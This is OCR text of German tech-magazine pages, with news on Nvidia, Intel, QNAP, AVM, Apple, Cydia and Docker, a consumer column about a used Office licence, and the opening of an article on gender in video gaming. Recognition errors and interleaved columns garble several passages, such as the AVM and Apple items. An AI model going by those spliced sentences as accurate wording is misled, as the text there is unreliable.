Watt Leistungsaufnahme - im Mittel sol-
len es 10 Watt sein - bis zu 32 Tera-Ops an
KI-Rechenleistung. Die kommt im
Wesentlichen aus einer integrierten Volta-
GPU mit 512 CUDA- und 64 Tensor-
Kernen.

Auflerdem sind eingebaut: acht
ARM64-Kerne mit Nvidias hauseigener
Carmel-Mikroarchitektur (ARMvS.2), zwei
Deep-Learning-Beschleuniger (NVDLA)
und ein ,,VLIW Vision Processor* zur Vor-

verarbeitung von Kamerabildern. Biszu16 :

Kameras lassen sich per CSI-2 anschlie-

f3en, aber es gibt auch PCI Express, Gigabit :
Ethernet, USB 3.1, CAN-Bus und HDMI

2.0. Das Betriebssystem startet aus einem

eMMC-Flash-Chip mit 32 GByte Kapazi-

tét; alternativ gibt es eine M.2-Fassung.

Das KI-Modul hat eine quadratische

Grundflache mit 10,5 Zentimeter Kanten-

lange, ein Entwicklerkit ist fiir 2499 US-
Dollar samt Kiihlkorper erhaltlich. An-
fangs gibt es auch Rabatte fiir registrierte

Entwickler und in Serienstiickzahlen soll
der Preis um 1000 US-Dollar liegen.

(ciw@ct.de)

Geballte KI-Rechenleistung:
Nvidia-Modul Jetson AGX Xavier
fiir Roboter und Autos.

Bild: Nvidia

Embedded Systems | News

Kurz & knapp:
Embedded Systems

Von Fujitsu gibt es das Industrie-PC-
Gehiuse Smartcase 1720 fiir lufter-
lose Kiihlung. Es ist fir die Mini-ITX-
Mainboards  D3633-S, D3643-S,
D3434-S und D3433-S mit den Chip-
sdtzen Q370, H310, Q170 und H110
ausgelegt. Darauf wiederum passen
Intel-Prozessoren der Generationen
Coffee Lake (Core i-8000, i-9000),
Kaby Lake (i-7000) und Skylake
(i-6000). Der Heatpipe-Kihler im
Smartcase 1720 ist fiir 35-Watt-CPUs
ausgelegt, das Netzteil liefert 65 Watt.
In das Smartcase 1720 lassen sich eine
2,5-Z0ll-SSD, eine PCle-Karte (per Riser)
sowie ein Erweiterungsmodul mit vier
COM-Ports einbauen.

STMicroelectronics verspricht Free-
RTOS-Unterstiitzung fiir STM32-Ent-
wicklerkits wie das 50 Euro teure
B-L475E-IOTO1A Discovery Kit im Ardu-
ino-Uno-Format fir loT-Gerate. Es ist
schon langer erhaltlich, war bisher
aber vor allem fir ARM mBed gedacht.
Dem Cortex-M4-SoC auf dem B-L475E-
IOTO1A stehen 128 KByte SRAM und
1 MByte Flash zur Seite, er funkt per
Bluetooth 4.1/BLE, NFC, WLAN sowie
auf 868 oder 915 MHz.

IKT-Beschaffertage 2019

12.-13. Marz 2019, MUnchen '

Die Beschaffung von Leistungen aus dem Bereich der Informations-
und Kommunikationstechnologie (IKT) stellt regelmaBig besondere
Anforderungen sowohl an die Vergabestellen, als auch an die po- ‘
tentiellen Bieter. Die Vergabeverfahren missen den hohen Anforde- ‘
rungen an die zu beschaffenden Produkte gerecht werden. | —

Themen 2019 u.a.:

‘ » Qutsourcing des [T-Betriebs |

Diesen und weiteren Themen widmen sich die IKT-Beschaffertage -
wir freuen uns auf eine spannende Tagung gemeinsam mit Ihnen, ¢

www.ikt-beschaffertage.de
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veranstalter: Bchirden Spicgel  Fochiiche Leitung oy

» Datenschutz und IKT-Beschaffung | ! ]
» Bewertung und Benchmarking
von [T-Geraten
» Die neuen EVB-IT Cloud
» Lebenszykluskosten bel der IKT-Beschaffung
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News | Server-CPUs, Chipsitze

Server-Prozessoren fiir Deep Learning

Intels kommende Xeon-Server-
prozessoren Cascade Lake und
Cooper Lake sollen vor allem Deep
Learning stark beschleunigen,
wieder etwas sicherer werden und
spéter ein neues Datenformat
nutzen - all das in 14 nm.

Die fiir 2019 erwarteten, weiter in 14-nm-
Technik hergestellten Cascade-Lake-
Xeons werden im Rahmen der AVX512-
Befehlssatzerweiterung vier neue KI-
Instruktionen erhalten. Je zwei davon ar-
beiten mit reduzierter Ganzzahlprézision
INT16 und INTS8. Daher eignen sie sich
hauptsachlich fiir die Folgerungsschicht
(Inferencing), weniger fiir das Training
neuraler Netze. Intel nennt das Deep-
Learning Boost, vormals Vector Neural
Net Instructions (VNNI).

Die innere Schleife eines INT8-
Convolution-Layers kann Cascade Lake
dadurch mit nur einer Instruktion
(VPDPBUSD, zwei pro Takt) abbilden.
Damit ist dieser spezielle Durchsatz drei-
mal so hoch wie beim Vorgénger Skylake
X, mit INT16-Genauigkeit immerhin
noch doppelt so hoch.

Cascade Lake wird in Hardware auch
gegen Spectre V2 (Branch Target Injec-

tion) gehartet, nachdem mit Core-i-9000
bereits die ersten CPUs Mafdnahmen
gegen Spectre V3 (Rogue Data Cache
Load) und L1 Terminal Fault enthalten.
Im Cascade-Lake-Nachfolger Cooper
Lake (ebenfalls noch in 14 nm gefertigt)
gibt es das neue Datenformat bfloatl6
(BF16) als Speichersparvariante von FP32
mit ebenfalls 8-bittigem Exponenten, aber
geringerer Genauigkeit (7 Bit Mantisse).

Cooper Lake soll BF16 doppelt so schnell
ausfithren wie FP32.

Auflerdem verriet Intel etwas mehr
zum Optane Persistent Memory, welches
Cascade Lake erstmals unterstiitzt. Wie
schon vermutet, konnen in bestimmten
Server-Boards bis zu 6 TByte Optane-
Speicher zum Einsatz kommen - zusitz-
lich zu 1,5 TByte DDR4-LRDIMMs.

(csp@ct.de)

AlJMACHINE LEARNING

COOPER LAKE

* Training Acceleration

* Native support for bfloat16 datatype
* 2xbfioat16 peak throughput/cycle vs. fp32

*  Numerical specification now available®
* Full ISA specification soon to be published

THE FUTURE

| |
* Continue to accelerate Al/ML in the core

1 |

‘ | * Work closely with algorithm experts & SW
community to identify opportunities for

| | -

The next step-function improvement in both
inference & training

- [ -ssssy

i R ronmam

Mit Cooper Lake soll ein neues Datenformat kommen, welches die KI-/
Deep-Learning-Leistung weiter steigert.

Intels seltsamer B365-Chipsatz

Auf der Intel-Website ist ohne grofes
Brimborium der neue B365-Chipsatz auf-
getaucht, der nur 2 US-Dollar mehr kostet
als die Einsteiger-Variante H310. Seine
angepriesenen Merkmale entsprechen
denen des H270 und deuten darauf hin,
dass es sich um Restbestinde aus der
200er-Serie handelt. Mit neuen
Boards mit passender Einstel-
lung der Management-Engine
unterstiitzt der B365 Core-i-
8000-/-9000-CPUs. Verzich-
ten muss man allerdings auf die
eigentlichen Neuerungen der
300er-Reihe: eingebautes USB
3.1 Gen 2 sowie CNVi-WLAN.
Existenzgrund des B365
konnten Intels Lieferprobleme
bei aktuellen 14-Nanometer-
Chips sein - darunter die ,,ech-
ten 300er-Chipsitze. Einige
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14-nm-Produktionsstrafen stellte Intel i
bereits auf den offenbar noch nicht mas-
sentauglichen 10-nm-Prozess um. Die i
200er-Chipsatze wurden noch in 22-nm-
Technik hergestellt und kénnten durch i
einfaches Umbenennen Intels aktuelle
(csp@ct.de)

Lieferprobleme lindern.

Die Neuerungen USB 3.1 Gen 2 und CNVi-WLAN,
wie beim B360 im Bild, fehlen dem B365.

Kurz und knapp:
Hardware

Nvidias GeForce RTX 2060 kommt
bald. Mit 1920 Shadern plus Ray-
tracing-Kernen, 192 Bit breitem Spei-
cherinterface und 6 GByte GDDR6-
RAM dirften die Karten leistungs-
maBig nah an die GTX 1070 kommen,
aber wohl auch ahnlich teuer werden.

Der Stapelspeicher HBM wird schnel-
ler und héher. Der Standard wurde
von acht auf zwolf Lagen erweitert und
kann nun pro Pin bis zu 2,4 GBit/s
Ubertragen - pro HBM-Stapel 307
GByte/s. HBM kommt vor allem bei
Grafikkarten, Server-Beschleunigungs-
karten und -FPGAs und professionellen
Netzwerk-Chips zum Einsatz.
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Flottes Netz liber Thunderbolt 3

Flir Computer mit Thunderbolt-3-Port
(TB3) hat QNAP zwei Ethernet-Adapter
ins Programm genommen: Das Modell
QNA-T310G1T enthilt einen RJ45-Port
flir Twisted-Pair-Kabel, der Daten mit 100
MBit/s oder 1, 2,5 und 5 bis 10 GBit/s tiber-
tragt (NBase-T und 10GBase-T). Sein Ge-
schwisterchen G1S ist mit einem 10 GBit/s
schnellen SFP+-Port fiir Glasfasermodule
oder Direct-Attach-Kabel bestlickt.

Laut QNAP funktionieren beide
Adapter unter Windows mit einem herun-
terzuladenden Treiber des PHY-Chip-
Herstellers Aquantia (Windows ab 7, auch

32-Bit-Versionen, Server 2012 und 2016). :

macOS ab 10.13.3 sollte die Adapter ohne
Treiberinstallation erkennen.

Die mit den PHYs AQC100 und 107
bestlickten Adapter sollten auch unter
Linux laufen: Im TB3-Adapter Sonnet Solo

10G (Test in ¢’'t 20/2018, S. 46) arbeitete :
der AQC107 einwandfrei mit Xubuntu :

18.04.1. Der SFP+-Adapter QNA-T310G1S
kostet rund 190 Euro, die NBase-T-
Variante QNA-T310G1T ist mit 215 Euro
etwas teurer. (ea@ct.de)

Aquantia-Treiber (Win/Linux): ct.de/yrg4

Die Adapter QNAP QNA-T310G1T und G1S binden Rechner mit Thunderbolt-3-

Port in schnelle LANs ein.

Funktaster fiir Fritzboxen

AVM hat einen DECT-Funktaster fiir
Smart Homes herausgebracht: Der 35
Euro teure Fritz!DECT 400 wird tiber die
energiesparsame DECT-Variante ULE
mit einer Fritzbox verbunden, die mit
FritzOS 7.01 oder neuer laufen muss. Eine

Der Funktaster Fritz!DECT 400 steuert liber die
Fritzbox eine oder mehrere Schaltsteckdosen.
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CR123A-Batterie versorgt den Taster mit
Strom.

durch Blinken und steuert dann uber die
Fritzbox eine oder mehrere DECT-Steck-

Zentralen
lasst, werden wir flir eine

gaben priifen.
(amo@ct.de)

Netze | News

Kurz & knapp: Netze

Qualcomms neuer Mobilfunk-Chip-
satz 9205 fiir loT-Gerate spricht drei
Funkstandards: LTE Cat. M1, NB-loT
(NB2) und GSM fiir Gebiete ohne LTE-
loT-Netze. Als Kern des Modemchips
9205 arbeitet ein ARM Cortex A7 mit
maximal 800 MHz. Die Position ermit-
telt der Baustein per GPS, Beidou, Glo-
nass oder Galileo. Zum Chipsatz geho-
ren noch der Power-Manager PME9205
und das HF-Frontend SDR105.

AEG Power Solutions hat seine USV-
Serie Protect A verbessert: Die USVs
sollen ihren Akku nun in vier Stunden
auf 90 Prozent aufladen kénnen, laut
Hersteller 50 Prozent schneller als die
Vorganger. AuBBerdem haben die fiir Ar-
beitsplatze und kleine Server gedach-
ten Notstrom-Geréte ein frontseitiges
LC-Display bekommen.

40G-Patchkabel

i Mit 10 Gigabit/s tiber 10GBase-T ist das
¢ Twisted-Pair-Kupferkabel noch nicht am

Ende: Der IEEE-Standard 802.3bq defi-
niert Geschwindigkeiten von 25 und
40 GBit/s fiir bis zu 30 Meter lange Kabel-

¢ strecken in Rechenzentren. 25GBase-T
! und 40GBase-T sollen iiber diese Distanz
i kostengiinstiger sein als Glasfaserver-
i bindungen. Fiir 40GBase-T hat die TTL
i Network GmbH nun Patchkabel gemif3
Betitigungen quittiert der Taster ;
{ ,TTLan Cat.8 S/FTP“ ist in zehn Lingen
(0,5 bis 25 Meter) lieferbar.
dosen; laut AVM eignen sich die haus- i
eigenen Modelle Fritz!- i
DECT 200 und 210. Das |
Schalten nach Vorlagen
in der Fritzbox - Rezepte
beispielsweise fiir zeitge-
steuerte Aktionen - will
AVM per Firmware-Up- i
date nachliefern. Obsich
der Taster iiber AVMs
HTTP-XML-APlauchin |
externe Smart-Home-
integrieren !
Cat.8-Patchkabel sollen Server und
der kommenden c’t-Aus-
¢ maximal 30 Meter mit 40 GBit/s
! verbinden.

Cat. 8 ins Programm genommen. Die Serie

(ea@ct.de)

Switches in Rechenzentren lber
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https://ct.de/yrg4

News | Apple

Tim Cook gegen Sammeln von Nutzerdaten

Der Chef des Apple-Konzerns
sorgt sich um die Sicherheit
ganzer Staaten angesichts
Datensammlungen, die
Manipulationen erméglichen.

Die ausufernde Sammlung von Nutzer-
daten im Internet konnte die Meinungs-
freiheit beeintrichtigen, fiirchtet Apple-
Chef Tim Cook: ,,Stellen Sie sich folgen-
des Szenario vor: Alles, was Menschen
sagen oder denken, wird gesendet, ana-
lysiert, gespeichert®, erklarte Cook in
einem Interview des Magazins Focus.
»Wiirden die Menschen aus Furcht vor
Konsequenzen aufthoren, ihre Meinung
zu sagen?

Liander wie die USA oder Deutsch-
land seien zwar so stark, dass ihnen von
aufden niemand existenziellen Schaden
zufligen konne. Doch Cook bereitet es
Sorgen, dass es mit einer Schatztruhe vol-
ler Daten moglich werde, Menschen so zu
manipulieren, dass sie irgendwann auf-
einander losgehen.

Cook bekriftigte seine Bewunderung
fiir die im vergangenen Mai in Kraft getre-
tene Datenschutzgrundverordnung in der
Europiischen Union. ,,Die EU-DSGVO ist
ein unglaubliches Fundament, auf das wir
alle aufbauen sollten‘, sagte er.

Cook betont schon seit Jahren, dass
Apple die Privatsphire seiner Nutzer
schiitzen wolle und unterstreicht den Un-
terschied zu Konzernen wie Facebook und
Google. Vor einigen Wochen warnte der
Apple-Chef'in Briissel vor einem ,,daten-
getrieben industriellen Komplex® in An-
lehnung an den Begriff vom militérisch-
industriellen Komplex. Riesige Daten-
sammlungen und das Erstellen von detail-
lierten Nutzerprofilen fiihrten letztlich in
die Uberwachung.

Cook hat jedoch kein Problem damit,
von Google Milliarden dafiir zu kassie-
ren, dass Apple Googles Suchmaschine
auf den eigenen Gerdten bevorzugt. ,,Da
Google die beste Suchfunktion bietet, ist
Google in diesem Feld der beste Part-
ner, wehrt sich Cook. Auflerdem betont

Missbrauch von Datensammlungen:
Cook spricht von einem daten-
getriebenen industriellen Komplex,
lobt aber die DSGVO.

er, dass man etwa im hauseigenen Safari-

Browser den Nutzern mehr Kontrolle

iiber das Teilen von Daten gebe.
(dz@ct.de)

Apple gegen
Qualcomm

Apple hat Mitte Dezember mit i0S 12.1.2
ein Update auRRer der Reihe ausschlieRlich
fiir das iPhone verdffentlicht. Es folgte nur
zwei Wochen auf das grofRe, Anfang De-
zember verdffentlichte i0S 12.1.1 und be-
seitigt Probleme bei der Aktivierung der
iniPhone XR, XS und XS Max integrierten
eSIM und riumt auf den 2018er iPhones
Fehler bei Mobilfunkverbindungen in der |
Tiirkei aus. Weitere Angaben hat das Un- !
! kniipften PayPal-Konten abbuchen.

Auferdem hat Apple mit dem Update
Funktionen getilgt, die nach Ansicht eines
chinesischen Gerichts in der Stadt Fuzhou
Patente von Qualcomm verletzen. Damit
versucht der Konzern, eine Aufhebung
des Verkaufsverbotes zu erwirken. Bei |
den Patenten geht es um die Anpassung
der Grof3e von Fotos sowie die Verwaltung
i plant gewesen und Anfang Dezember le-
i diglich vorgezogen worden. Der Betrieb

ternehmen nicht veroffentlicht.

von Apps auf Touchscreen-Geriten.
Gegentiber der Nachrichtenagentur

Reuters erklarte Qualcomm, mit diesen
und er konne ,keinerlei Leidenschaft
i mehr aufbringen, ihn weiter anzubieten.
(dz@ct.de) i

Taktiken verspotte Apple durch Verletzung
der Verfiigung das Rechtssystem.
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Der alternative Online-Shop fiir iOS-Soft-
ware namens Cydia Store hat seine Pfor-
ten geschlossen.

Der Betreiber Jay ,,Saurik“ Freeman
begriindete den vorgezogenen Schritt mit
einer kiirzlich entdeckten Schwachstelle.
Uber manipulierte Verzeichnisse war es
Sicherheitsforschern gelungen, Einkdufe
ohne Einwilligung des Nutzers zu titigen;
das Geld liefs sich unberechtigt von ver-

Dies seijedoch ein ,,Nicht-Problem",
erklirte Freeman. Schliefdlich habe zuletzt
kaum jemand etwas im Cydia Store ge-
kauft. Entsprechend seien Nutzer ge-
wohnlich nicht eingeloggt gewesen und
damit auch nicht angreifbar.

Die Schlieffung des alternativen
Shops sei aber ohnehin fiir Ende 2018 ge-

des App-Ladens habe ihn Geld gekostet

Die Moglichkeit, bereits getitigte Einkdu-

. Cydia Store schlief3t,
Paket-Manager bleibt

fe erneut herunterzuladen, will Freeman
weiterhin anbieten.

Saurik hat mit Cydia dem Apple-Kon-
zern fast zehn Jahre lang die Stirn geboten.
Dabei war er jedoch grundsitzlich auf Zu-
arbeit von Hackern angewiesen, die Apples
Installationskontrolle aus jeder i0S-Ver-
sion aufs Neue entfernen mussten. Klappte
das, hatten Entwickler eine Plattform, um
10S-Apps abseits von Apples reguliertem
App Store verkaufen zu konnen. Voraus-
setzung dafiir ist aber, dass Nutzer ihre
iPhones knacken (Jailbreak), was zuletzt
nicht viele Anwender interessierte.

Der Paketmanager Cydia bleibt indes
erhalten, sodass ihn andere Anbieter fiir
Bezahl-Apps auf Jailbreak-iPhones nutzen
konnen. Offentliche Jailbreaks sind jedoch
langst eine Seltenheit. Die Entsperrung
von iPhone und iPad ist zu einem lukra-
tiven Geschift geworden, sodass gravie-
rende 10S-Schwachstellen oft nur unter
der Hand verkauft werden. Fiir iOS 12 gibt
es bislang keinen allgemein verfiigbaren
Jailbreak. (dz@ct.de)
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Docker raumt den Docker Hub auf

Das Unternehmen hinter Docker hat den
Docker Hub, die Anlaufstelle fiir alle Do-
cker-Nutzer auf der Suche nach geeigne-
ten Images, neu gestaltet. Im Zuge dessen
wurde der Docker Store aufgelést und in
den Hub integriert. Diese Parallelwelt war
bei Container-Suchenden noch nie son-
derlich beliebt und war als Marktplatz fiir
Software-Anbieter gedacht, die dartiber
ihre containerisierten Anwendungen ver-
treiben sollten. Die kostenpflich-
tigen Angebote aus dem Store
liegen jetzt neben den kostenlo-
sen im neuen Hub.

Hier kann man die Such-
ergebnisse jetzt komfortabler
auf Kategorien einschrinken.
Auflerdem bekommen offizielle

Images oder solche von veri- |g ..

fizierten Anbietern deutlicher

her war es leicht, ein eigenes Image mit

Hintertliren im Hub zu platzieren und auf

Downloads zu hoffen - es erforderte etwas
Erfahrung, gute von schlechten Images zu
unterscheiden.

Nicht auf den ersten Blick erkennt

man im neuen Docker Hub allerdings, ob
ein Angebot eine kostenpflichtige Lizenz

erfordert. Fiir diese Information muss :
man die Detailseite 6ffnen. (jam@ct.de)

sichtbare  Kennzeichnungen.
Das soll auch die Sicherheit in
der Docker-Welt erh6hen. Bis-

Der neue Docker Hub hat einen besseren Filter
fiir die Ergebnisse. Der Store wurde integriert.

¢ den, dagegen schon.

Docker | News

Inkompatible
Docker-Namen

Die Entwickler von Docker-Compose
haben auf die scharfe Kritik an ihrer An-
derung des Namensschemas reagiert.
Mit Docker-Compose 1.23 hatten sie - fiir
viele Nutzer Giberraschend - das Namens-
schema der gestarteten Container um
eine Zufallszeichenkette erweitert. Da
viele Entwickler rund um Docker-Com-
pose eigene Skripte entwickelt hatten, die
auf einen konsistenten Namen angewie-
sen waren, fiihrte die Anderung zu
Unmut. Besonders Docker-Entwickler
»shin“ bekam den Unmut der Open-
Source-Community im GitHub-Issue
#6316 ab. Mit Version 1.23.2 wurde die un-
geliebte Idee schnell wieder beseitigt.
Container, die mit docker-compose up ge-
startet wurden, bekommen keine Zufalls-
zeichen im Namen. Temporire Container,
die mit docker-compose run gestartet wur-
(jam@ct.de)

———

Hand-on Progressive Web App Bootcamp

Web-Performanceoptimierung 2018

Moderne Vue.js-Entwickiung

Eine Veranstaltung von 1t
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Ausgesperrt

Office-Lizenz lasst sich nicht aktivieren,
Handler verweigert Riickgabe

Nicht immer muss es die aktuelle
Version von Microsofts Office-
Paket sein. Oft reicht auch der
Funktionsumfang einer dlteren
Variante. Doch der giinstige
Einkauf so einer alten Software
fiihrt nicht immer zum Erfolg.

Von Georg Schnurer

24

B ernhard L. ist fiir eine Frauenbera-
tungsstelle als externer IT-Berater
titig. Da der gemeinntitzige Verein nicht
gerade im Geld schwimmt, war er im
November 2018 auf der Suche nach einer
giinstigen Version von Microsoft Office.
Ein Werbebanner im Internet fithrte ihn
zum Angebot von ,Vollversion-Kaufen.
de“. Dort entdeckte er MS-Office 2016 Pro
zum Preis von 79,95 Euro. Fiir die aktuelle
2019er-Version hitte er gut 270 Euro auf
den Tisch legen miissen. Knapp 190 Euro
gespart - ein guter Deal, dachte sich
Bernhard L. Schlieflich deckte die etwas
in die Jahre gekommene 2016er-Variante
alle Anforderungen der Beratungsstelle an
ein Office-Paket ab.

Der Kaufwar schnell erledigt: Die Be-
zahlung erfolgte per PayPal und wenige
Minuten spéter iibermittelte der Handler
einen Produktschliissel und einen Down-
load-Link fiir die Installationsdateien von
Office 2016 Pro. Sofort lud Bernhard L.
die Software herunter und brannte sie auf
eine DVD. Danach ging es an die Installa-
tion des Programms.

Hilfe!

Doch irgendwie funktionierte das nicht:
Die auf dem Rechner vorinstallierte Aus-
probier-Version von Office 365 beharkte
sich anscheinend mit der frisch erworbe-
nen Vollversion. Der um Hilfe gebetene
Support des Online-Héndlers verwies auf
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einige Tools von der Microsoft-Webseite,
die beim Entfernen vorinstallierter Office-
Versionen helfen sollten. Nach etlichen
Versuchen gelang es Bernhard

L. endlich, das neue Office-
Paket auf den Rechner zu ver-
frachten. Doch so richtig weiter
kam er dennoch nicht: Das Pro-
gramm akzeptierte den Aktivie-
rungsschliissel einfach nicht. Nach
vier Fehlversuchen suchte er im In-
ternet Hilfe und fand den Tipp, die
Software telefonisch zu aktivieren.
Also griffer zum Horer und bat den Micro-
soft-Support um Unterstiitzung.

Doch da hatte er die Rechnung ohne
Microsoft gemacht: Eine telefonische Ak-
tivierung sei bei dem von ihm genutzten
Aktivierungsschliissel nicht moglich, weil
es sich hier um eine sogenannte Volumen-
lizenz handele. Er moge das Problem doch
bitte mit seinem Héndler kldren.

Frust pur

Also schilderte Bernhard L. sein Problem
per E-Mail und bat Vollversion-Kaufen.de
um die Erstattung des Kaufpreises. Geld
zuriick? Das kam fiir das Team des On-
line-Héandlers tiberhaupt nicht infrage.
»Produktschliissel sind vom Widerrufs-
recht ausgeschlossen®, teilte man dem
Kunden lapidar mit.

Damit die Beratungsstelle weiter-
arbeiten konnte, erwarb Bernhard L. kur-
zerhand eine aktuelle Vollversion von MS-
Office bei einem lokalen Héndler. Die lief3
sich ohne Probleme installieren und an-
schliefdend auch aktivieren. Die Mehrkos-
ten und das beim Online-Handler ver-
senkte Geld drgerten Bernhard L. aller-
dings schon. ,,Bin ich einem Betriiger auf
den Leim gegangen®, fragte er und bat die
¢’t-Redaktion um Hilfe.

Faktencheck

Das bei Bernhard L. aufgetretene Problem
deutet auf den Kauf einer ,,gebrauchten”
Software hin. Anscheinend hat da ein Un-
ternehmen eine bei Microsoft erworbene
Volumenlizenz weiterverkauft. Anschlie-
fend hat ein Handler diese Volumen-
lizenz in mehrere Einzellizenzen aufge-
splittet und dann weiterverkauft.

Dieses Vorgehen ist seit dem Urteil
des Europiischen Gerichtshof vom 3. Juli
2012 (EuGH C-128/113) und dem ergén-
zenden Urteils des Bundesgerichtshofs
(BGH Az.1ZR 8/13) vom 11. Dezember
2014 zur Aufspaltung von Volumen-
lizenzen durchaus legal. Allerdings muss
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Wiederverwertete Lizenzen | Vorsicht, Kunde

sichergestellt werden, dass die weiterver-
kaufte Software vom urspriinglichen Kau-
fer nicht mehr genutzt wird. Den
Nachweis dafiir muss im Zwei-
felsfall der Verkaufer der Ge-
brauchtsoftware erbringen.
Klar ist auch, dass man als
Kiufer einer online tibermittel-
ten Software kein Widerrufs-
recht hat. Doch um einen Wi-
derruf ging es im Falle von
Bernhard L. ja gar nicht. Der
Kunde reklamierte zu Recht eine
nicht installierbare Software. Hier steht
der Handler eindeutig in der Pflicht. Er
kann nachbessern, etwa indem er dem
Kunden einen funktionierenden Aktivie-
rungscode tibermittelt. Alternativ kann er
den Kauf auch Rickabwickeln, wenn der
Kunde sich damit einverstanden erklart.

Nachgefragt

Wir baten zunachst Microsoft um eine Be-
wertung des Kaufs. Was fiir eine Software
hat der Kunde hier tatséchlich erworben
und warum wurde der Aktivierungsschliis-
sel gesperrt? Die Antwort des Software-
Giganten warf allerdings noch mehr Fra-
gen auf: Laut Microsoft stammt der an
Bernhard L. weitergegebene Aktivierungs-
schliissel aus einer Volumenlizenz von Of-
fice 2016 Professional. Allerdings wurde
dem urspriinglichen Kéufer dieses Volu-
menlizenzvertrages eine volle Lizenz fiir
,»Microsoft Office Professional Plus 2019
gewihrt. Diese beinhaltet zwar auch eine
Downgrade-Option zu Office 2016, aller-

Service im Visier

Immer wieder bekommen wir E-Mails, in
denen sich Leser lber schlechten Ser-
vice, ungerechte Garantiebedingungen
und Uberzogene Reparaturpreise bekla-
gen. Ein gewisser Teil dieser Beschwer-
den ist offenbar unberechtigt, weil die
Kunden etwas liberzogene Vorstellungen
haben. Vieles entpuppt sich bei genaue-
rer Analyse auch als alltdgliches Verhal-
ten von allzu scharf kalkulierenden Fir-
men in der IT-Branche.

Manchmal erreichen uns aber auch
Schilderungen von geradezu haarstrau-
benden Fallen, die deutlich machen, wie
einige Firmen mit ihren Kunden um-
springen. In unserer Rubrik ,Vorsicht,

dings darf die Lizenz dann nicht parallel fiir
Office 2019 verwendet werden. Moglicher-
weise liegt hier der Grund fiir die Sperrung
des Aktivierungscodes. Microsoft wollte
sich hierzu allerdings nicht ndher dufdern.

Wir konfrontierten Marco Seelmann,
den Geschiftsfiihrer der hinter ,Vollver-
sion-Kaufen.de" stehenden AlphaCentau-
rus Promotion aus Stakendorf, mit der
Aussage von Microsoft und wollten wis-
sen, welche Belege er fiir eine korrekte
Ubertragung der Lizenz hat. Zudem inte-
ressierte uns, warum sein Unternehmen
die berechtigte Reklamation von Bern-
hard L. abgeschmettert hat.

Seelmann raumte unumwunden ein,
dass man die Reklamation des Kunden
versehentlich falsch eingeordnet hitte.
Aufgrund der vorhergehenden Fragen zur
Office-Installation war der Supporter
nicht von einer Reklamation ausgegan-
gen. Man habe den Kaufpreis nun aber an
den Kunden zuriickiiberwiesen.

Bei den Belegen fiir eine korrekte
Ubertragung der Lizenz blieb der Ge-
schiftsfithrer allerdings recht einsilbig:
Das Nutzungsrecht lage beim Grof3hand-
ler und werde dem Kunden beim Kauf des
Produkts {iberlassen. Die Ubertragung
des Nutzungsrechts erfolge mit der Rech-
nung, hief} es lapidar.

Fiir die Sperrung des Aktivierungs-
codes durch Microsoft, so erklarte uns
Marco Seelmann, gebe es viele Griinde.
Die meisten Sperrungen seien auf Miss-
brauch des Schliissels durch den Kunden
zurtickzufithren. (gs@ct.de) €€

Kunde!” berichten wir liber solche Ent-
gleisungen, Ungerechtigkeiten und du-
biose Geschaftspraktiken. Damit erfah-
ren Sie als Kunde schon vor dem Kauf,
was Sie bei dem jeweiligen Unterneh-
men erwarten oder manchmal sogar be-
furchten mussen. Und womaglich veran-
lassen unsere Berichte ja auch den einen
oder anderen Anbieter, sich zukiinftig
etwas kundenfreundlicher und kulanter
zu verhalten.

Falls Sie uns eine solche bose Erfah-
rung mitteilen wollen, senden Sie bitte
eine chronologisch sortierte knappe
Beschreibung lhrer Erfahrungen an:
vorsichtkunde@ct.de.
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Kerle unter sich

Warum Manner bestimmte Videospiele dominieren

Laut Statistik spielen Frauen so

viel wie Mdnner. Doch bei den

in Magazinen und auf YouTube
dominierenden Genres trifft man
sie weiterhin selten an. In einem
Selbstversuch gehen wir méglichen
Griinden nach.

Von Peter Kusenberg

H ersteller werden nicht miide zu be-
teuern, dass Videospiele keine Mén-
nerdomaéne seien. ,Mit ihrem Beitrag pré-
gen Frauen die weltweite Spielekultur®,
sagt Felix Falk, Geschiftsfiihrer des deut-
schen Branchenverbands game. Laut des-
sen Statistik sind 47 Prozent der Spieler in
Deutschland weiblich.

Was diese Zahl jedoch verbirgt, sind
die Unterschiede bei den Genres. Laut
einer US-Studie von Superdata Research
dominieren Ménner bei Rollenspielen und
Ego-Shootern, Frauen bevorzugen hinge-
gen haufiger Mobil- und Gliicksspiele.
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Das schldgt sich auch in der Beteili-
gung von Frauen in einschldgigen Foren
wieder, in denen ihre Lieblingsgenres
wenig Beachtung finden. Von den rund
340 Forenbeitrigen zur heise.de-Rezen-
sion zu ,Red Dead Redemption 2 liefd
sich keiner als von einer Frau verfasster
identifizieren. Wer ,,Battlefield 5 mit
Headset spielt, hort so gut wie nie eine
weibliche Stimme. Besucher von E-Sport-
Turnieren mit ,,League of Legends® ent-
decken bestenfalls vereinzelt weibliche
Teilnehmer. Der Frauenanteil im E-Sport
betrug 2018 laut womeningames.org lap-
pische fiinf Prozent.

Alltagstest

Um auszuloten, warum bestimmte Genres
Frauen so wenig ansprechen, luden wir die
46-jihrige Andrea und die 34-jahrige Luzie
zu Spiele-Sessions ein. Andrea arbeitet als
Erzieherin und spielt weder auf ihrem
Smartphone noch auf dem PC. Einzig {iber
ihre Kinder weif$ sie von Pokémon und
Super Mario. Die Optikerin Luzie kennt
Candy Crush und spielte ,,vor Jahren ein
bisschen Anno 1404 am PC*; weder sie

noch ihr Lebensgefihrte besitzen eine
Konsole.

Die erste Session beginnt mit dem
3D-Adventure ,Everybody's gone to the
rapture®, dessen Soundtrack Andrea an
die TV-Serie ,,Big Little Lies“ erinnert. Sie
versucht, gleichzeitig den linken und rech-
ten Analog-Hebel des Gamepads zu be-
dienen, um die Spielfigur zu bewegen.
Meist bleibt die Kamera auf die Strafde ge-
richtet, weil Andrea den zweiten Analog-
Stick vergisst. Thr Fazit nach 15 Minuten:
»Das Spiel sieht schon aus, das Gezwit-
scher der Vogel klingt hiibsch, aber ich
weif3 nicht, was ich machen soll. Die Dia-
loge finde ich verwirrend.

Im Action-Adventure ,,Darksiders 3
missfillt Andrea die weibliche Hauptfigur,
»die nur ans Hauen und Stechen denkt*.
Ebenso reagiert sie bei ,Rise of the Tomb
Raider“: ,,Diese Lara ist doch keine Frau,
die muss ja stiandig killen und Steine wil-
zen.”

SchlieRlich kommt ,,Soul Calibur 6
an die Reihe: Das Design der grof3briisti-
gen Ivy findet sie etwas iibertrieben: ,,Na,
die hat halt gutes Bindegewebe!“ Andrea
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hiammert wild auf die Tasten ein und be-
siegt den KI-gesteuerten Gegner: ,,Die
Landschaft sieht wunderschon aus und
ich kann es gut lenken, weil die Steuerung
total egal ist.“ Sie beendet das Experiment
mit einem Lob fiir das Priigelspiel - ,,0b-
